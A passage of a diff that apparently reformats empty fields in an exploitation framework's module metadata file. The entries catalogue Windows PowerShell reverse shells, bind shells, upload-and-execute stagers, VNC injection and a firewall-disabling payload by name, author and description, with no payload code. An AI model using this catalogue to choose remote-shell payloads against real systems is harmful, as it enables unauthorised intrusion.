+232007,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229296,8 +232021,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229310,9 +232034,7 @@ "payload_cmd/windows/powershell/shell/bind_tcp_uuid": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229324,9 +232046,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229340,8 +232060,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229354,9 +232073,7 @@ "payload_cmd/windows/powershell/shell/find_tag": { "name": "Powershell Exec, Windows Command Shell, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229367,9 +232084,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229383,8 +232098,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229397,9 +232111,7 @@ "payload_cmd/windows/powershell/shell/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229411,9 +232123,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229427,8 +232137,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229441,9 +232150,7 @@ "payload_cmd/windows/powershell/shell/reverse_nonx_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229454,9 +232161,7 @@ "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229470,8 +232175,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229484,9 +232188,7 @@ "payload_cmd/windows/powershell/shell/reverse_ord_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/shell/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229496,9 +232198,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229512,8 +232212,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229526,9 +232225,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229540,9 +232237,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229556,8 +232251,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229570,9 +232264,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_allports": { "name": "Powershell Exec, Windows Command Shell, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229584,9 +232276,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229600,8 +232290,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229614,9 +232303,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_dns": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229629,9 +232316,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229645,8 +232330,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229659,9 +232343,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_rc4": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229675,9 +232357,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229691,8 +232371,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229705,9 +232384,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229721,9 +232398,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229737,8 +232412,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229751,9 +232425,7 @@ "payload_cmd/windows/powershell/shell/reverse_tcp_uuid": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229765,9 +232437,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229781,8 +232451,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229795,9 +232464,7 @@ "payload_cmd/windows/powershell/shell/reverse_udp": { "name": "Powershell Exec, Windows Command Shell, Reverse UDP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/shell/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229808,9 +232475,7 @@ "RageLtMan " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229824,8 +232489,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229838,9 +232502,7 @@ "payload_cmd/windows/powershell/shell_bind_tcp": { "name": "Powershell Exec, Windows Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229850,9 +232512,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229866,8 +232526,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229878,9 +232537,7 @@ "payload_cmd/windows/powershell/shell_bind_tcp_xpfw": { "name": "Powershell Exec, Windows Disable Windows ICF, Command Shell, Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/shell_bind_tcp_xpfw", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229889,9 +232546,7 @@ "Lin0xx " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nDisable the Windows ICF, then listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229905,8 +232560,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229917,9 +232571,7 @@ "payload_cmd/windows/powershell/shell_hidden_bind_tcp": { "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Inline", "fullname": "payload/cmd/windows/powershell/shell_hidden_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229946,8 +232598,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229958,9 +232609,7 @@ "payload_cmd/windows/powershell/shell_reverse_tcp": { "name": "Powershell Exec, Windows Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/windows/powershell/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -229970,9 +232619,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -229986,8 +232633,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -229998,9 +232644,7 @@ "payload_cmd/windows/powershell/speak_pwned": { "name": "Powershell Exec", "fullname": "payload/cmd/windows/powershell/speak_pwned", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230009,9 +232653,7 @@ "Berend-Jan \"SkyLined\" Wever " ], "description": "Execute an x86 payload from a command via PowerShell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230025,8 +232667,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230037,9 +232678,7 @@ "payload_cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230068,8 +232707,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230082,9 +232720,7 @@ "payload_cmd/windows/powershell/upexec/bind_hidden_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230113,8 +232749,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230127,9 +232762,7 @@ "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230141,9 +232774,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230157,8 +232788,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230171,9 +232801,7 @@ "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230186,9 +232814,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230202,8 +232828,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230216,9 +232841,7 @@ "payload_cmd/windows/powershell/upexec/bind_named_pipe": { "name": "Powershell Exec, Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/upexec/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230229,9 +232852,7 @@ "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230245,8 +232866,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230259,9 +232879,7 @@ "payload_cmd/windows/powershell/upexec/bind_nonx_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/upexec/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230271,9 +232889,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230287,8 +232903,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230301,9 +232916,7 @@ "payload_cmd/windows/powershell/upexec/bind_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230315,9 +232928,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230331,8 +232942,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230345,9 +232955,7 @@ "payload_cmd/windows/powershell/upexec/bind_tcp_rc4": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230361,9 +232969,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230377,8 +232983,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230391,9 +232996,7 @@ "payload_cmd/windows/powershell/upexec/bind_tcp_uuid": { "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230405,9 +233008,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230421,8 +233022,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230435,9 +233035,7 @@ "payload_cmd/windows/powershell/upexec/find_tag": { "name": "Powershell Exec, Windows Upload/Execute, Find Tag Ordinal Stager", "fullname": "payload/cmd/windows/powershell/upexec/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230448,9 +233046,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230464,8 +233060,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230478,9 +233073,7 @@ "payload_cmd/windows/powershell/upexec/reverse_ipv6_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230492,9 +233085,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230508,8 +233099,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230522,9 +233112,7 @@ "payload_cmd/windows/powershell/upexec/reverse_nonx_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230534,9 +233122,7 @@ "sf " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230550,8 +233136,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230564,9 +233149,7 @@ "payload_cmd/windows/powershell/upexec/reverse_ord_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230577,9 +233160,7 @@ "spoonm " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230593,8 +233174,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230607,9 +233187,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230621,9 +233199,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230637,8 +233213,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230651,9 +233226,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_allports": { "name": "Powershell Exec, Windows Upload/Execute, Reverse All-Port TCP Stager", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230665,9 +233238,7 @@ "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230681,8 +233252,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230695,9 +233265,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_dns": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (DNS)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230710,9 +233278,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230726,8 +233292,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230740,9 +233305,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230756,9 +233319,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230772,8 +233333,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230786,9 +233346,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4_dns": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230802,9 +233360,7 @@ "RageLtMan" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230818,8 +233374,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230832,9 +233387,7 @@ "payload_cmd/windows/powershell/upexec/reverse_tcp_uuid": { "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230846,9 +233399,7 @@ "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230862,8 +233413,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230876,9 +233426,7 @@ "payload_cmd/windows/powershell/upexec/reverse_udp": { "name": "Powershell Exec, Windows Upload/Execute, Reverse UDP Stager with UUID Support", "fullname": "payload/cmd/windows/powershell/upexec/reverse_udp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230889,9 +233437,7 @@ "RageLtMan " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -230905,8 +233451,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230919,9 +233464,7 @@ "payload_cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230951,8 +233494,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -230965,9 +233507,7 @@ "payload_cmd/windows/powershell/vncinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -230997,8 +233537,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231011,9 +233550,7 @@ "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231041,8 +233578,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231055,9 +233591,7 @@ "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231086,8 +233620,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231100,9 +233633,7 @@ "payload_cmd/windows/powershell/vncinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/powershell/vncinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -231129,8 +233660,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -231143,9 +233673,7 @@ "payload_cmd/windows/powershell/vncinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", "fullname": 